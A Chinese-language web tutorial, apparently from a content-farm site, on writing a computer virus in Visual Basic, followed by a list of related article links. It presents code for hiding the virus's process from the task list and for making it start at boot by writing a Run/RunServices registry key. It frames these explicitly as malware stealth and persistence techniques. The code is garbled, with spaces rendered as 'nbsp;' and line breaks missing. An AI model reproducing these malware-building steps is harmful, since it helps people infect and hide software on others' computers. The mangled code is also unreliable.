如何製作電腦病毒方法

General 更新 2024年12月22日

  對於接觸計算機的朋友們來說,病毒已經不在是一個陌生的東西。病毒一般都具有傳播、隱藏、破壞等能力。下面由小編給你做出詳細的電腦病毒製作方法介紹!希望對你有幫助!

  電腦病毒製作方法介紹:

  所以自從第一個病毒問世以來,它便被人們視為一種神祕的東西。但是,我們要知道。病毒也是程式,也是由人寫出來的。

  所以,病毒並不是什麼高不可攀的東西。現在,讓我們瞭解一下VB製作病毒的原理。首先,病毒是有隱藏性的。如何來實現病毒的隱藏是很多年來的熱點話題。我們先不接觸什麼執行緒插入技術。

  我們要實行自我隱藏,就要用到API函式。其程式碼如下:Publicnbsp;Declarenbsp;Functionnbsp;GetCurrentProcessidnbsp;Libnbsp;“kernel32“nbsp;nbsp;Asnbsp;LongPublicnbsp;Declarenbsp;Functionnbsp;RegisterServiceProcessnbsp;Libnbsp;“kernel32“nbsp;ByValnbsp;dwProcessIDnbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;LongPublicnbsp;Constnbsp;RSP_SIMPLE_SERVICEnbsp;=nbsp;1Publicnbsp;Constnbsp;RSP_UNREGISTER_SERVICEnbsp;=nbsp;0Publicnbsp;Subnbsp;MakeMeServiceDimnbsp;pidnbsp;Asnbsp;LongDimnbsp;reserynbsp;Asnbsp;Longpidnbsp;=nbsp;GetCurrentProcessidregservnbsp;=nbsp;RegisterServiceProcesspid,nbsp;RSP_SIMPLE_SERVICEEndnbsp;Sub這樣就實現了自我隱藏。還有別的什麼App.Titlenbsp;=nbsp;““和App.TaskVisiblenbsp;=nbsp;False都可以用於VB病毒的隱藏。

  病毒光會隱藏還不行,還要有常駐記憶體的能力。

  說通俗點,計算機關閉病毒也就跟著死去,而計算機重啟,病毒也要跟這復活。

  所以,我們接下來的任務就是:實現病毒的開機自啟。瞭解病毒的朋友會知道,病毒一般是利用在登錄檔中插入相應鍵值來實現開機自啟的。

  所以,我們就要利用程式設計來實現著一功能。讀寫登錄檔要用到API函式,程式碼:Privatenbsp;Declarenbsp;Functionnbsp;RegCreateKeynbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegCreateKeyA“nbsp;ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpSubKeynbsp;Asnbsp;String,nbsp;phkResultnbsp;Asnbsp;Longnbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegCloseKeynbsp;Libnbsp;“advapi32.dll“nbsp;ByValnbsp;hKeynbsp;Asnbsp;Longnbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegSetValueExnbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegSetValueExA“nbsp;ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpvalueNamenbsp;Asnbsp;String,nbsp;ByValnbsp;Reservednbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long,nbsp;lpDatanbsp;Asnbsp;Any,nbsp;ByValnbsp;cbDatanbsp;Asnbsp;Longnbsp;Asnbsp;Long上述是API宣告。

  病毒的開機自啟就是在RUN下建立一個啟動項,程式碼:Dimnbsp;hKeynbsp;Asnbsp;LongDimnbsp;ccLetnbsp;ccnbsp;=nbsp;Len“病毒的絕對路徑“RegCreateKeynbsp;HKEY_LOCAL_MACHINE,nbsp;“SoftwareMicrosoftWindowsCurrentVersionRunservices“,nbsp;hKeyRegSetValueExnbsp;hKey,nbsp;“鍵名“,nbsp;0,nbsp;REG_SZ,nbsp;ByValnbsp;“病毒的絕對路徑“,nbsp;ccRegCloseKeynbsp;hKey以上程式碼執行後會在登錄檔中加入一個病毒的啟動項。光利用開機自啟來長駐記憶體也太容易被殺了。所以,我們還要想盡一切辦法來讓病毒啟動。

如何防護電腦病毒
如何防治電腦病毒
相關知識
如何製作電腦病毒方法
如何製作電腦病毒呢
如何製作電腦病毒
如何防範電腦病毒方法
怎麼製作電腦病毒
如何防護電腦病毒
如何防治電腦病毒
如何防範電腦病毒呢
部落格網如何防止電腦病毒滋生
如何清理電腦病毒